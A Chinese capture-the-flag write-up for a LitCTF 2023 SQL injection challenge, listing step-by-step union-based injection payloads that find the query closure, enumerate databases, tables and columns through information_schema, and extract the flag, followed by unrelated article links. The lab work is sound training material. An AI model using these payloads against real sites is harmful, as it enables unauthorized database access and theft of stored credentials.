[LitCTF 2023]这是什么?SQL !注一下 !

[LitCTF 2023]这是什么?SQL !注一下 ! wp

题目描述:为了安全起见多带了几个套罢了o()q

页面内容(往下滑):

SQL 语句已给出,无非是更换了闭合方式。

先输个 1 试试:

在下面的回显中将 SQL 语句与执行结果都回显了出来。

测试闭合方式与注释符

假如闭合方式与注释符都正确,那么输入以下内容,应当与输入 1 得到一样的结果:

复制代码
1))))))--+

经过测试:闭合方式为 )))))) ,注释符为 --+ 时可以正确执行。

group by 查询回显位数

复制代码
1)))))) group by 2--+

经过测试,回显位为两位。

输入:

复制代码
1)))))) union select 1,2--+

返回结果:

经过测试,两位都能正常回显。

查询当前数据库名

复制代码
1)))))) union select 1,database()--+

返回结果:

当前数据库名为 ctf 。

查询当前数据库中的所有表

复制代码
1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

返回结果:

只有一个 users 表。

查询表中的所有列

复制代码
1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"--+

返回结果:

有三列,分别是:id,username,password

查询列中的所有内容

复制代码
-1)))))) union select username,password from users--+

返回结果:

fake_flag 意为 假的 flag 。可见,这里面并没有 flag 。那么应该在其它数据库中。

select 查询所有数据库

使用 show 查询的时候不知道为什么出不来,只好用 select 查询了。

复制代码
-1)))))) union select 1,schema_name from information_schema.schemata--+

返回结果:

除了 ctf 之外还有一个名为 ctftraining 的数据库。进去看看。

查询 ctftraining 数据库的所有表名、列名

查询 ctftraining 数据库的所有表名:

复制代码
-1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema="ctftraining"--+

返回结果:

有一个名为 flag 的表。

查询 flag 表的所有列名:

复制代码
-1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_schema="ctftraining" and table_name="flag"--+

返回结果:

在 flag 表中有一个名为 flag 的列名。

查询 flag 列的所有内容:

复制代码
-1)))))) union select 1,flag from ctftraining.flag--+

返回结果:

拿到 flag 。

相关推荐
cookqq21 分钟前
mongodb源码分析session执行handleRequest命令find过程
数据库·sql·mongodb·nosql
岁忧31 分钟前
LeetCode 高频 SQL 50 题(基础版)之 【高级字符串函数 / 正则表达式 / 子句】· 下
sql·leetcode·正则表达式
写bug写bug1 小时前
SQL窗口函数原理和使用
后端·sql·mysql
寻丶幽风1 小时前
论文阅读笔记——Muffin: Testing Deep Learning Libraries via Neural Architecture Fuzzing
论文阅读·笔记·深度学习·网络安全·差分测试
炎码工坊2 小时前
API网关Envoy的鉴权与限流:构建安全可靠的微服务网关
网络安全·微服务·云原生·系统安全·安全架构
炎码工坊2 小时前
从零掌握微服务通信安全:mTLS全解析
安全·网络安全·云原生·系统安全·安全架构
领世达检测V133529092493 小时前
无人机EN 18031欧盟网络安全认证详细解读
安全·web安全·无人机·en 18031
浠寒AI3 小时前
PostgreSQL 与 SQL 基础:为 Fast API 打下数据基础
数据库·sql·postgresql
炎码工坊4 小时前
API网关Kong的鉴权与限流:高并发场景下的核心实践
安全·网络安全·微服务·云原生·系统安全
炎码工坊4 小时前
云原生安全实战:API网关Kong的鉴权与限流详解
网络安全·微服务·云原生·系统安全·安全架构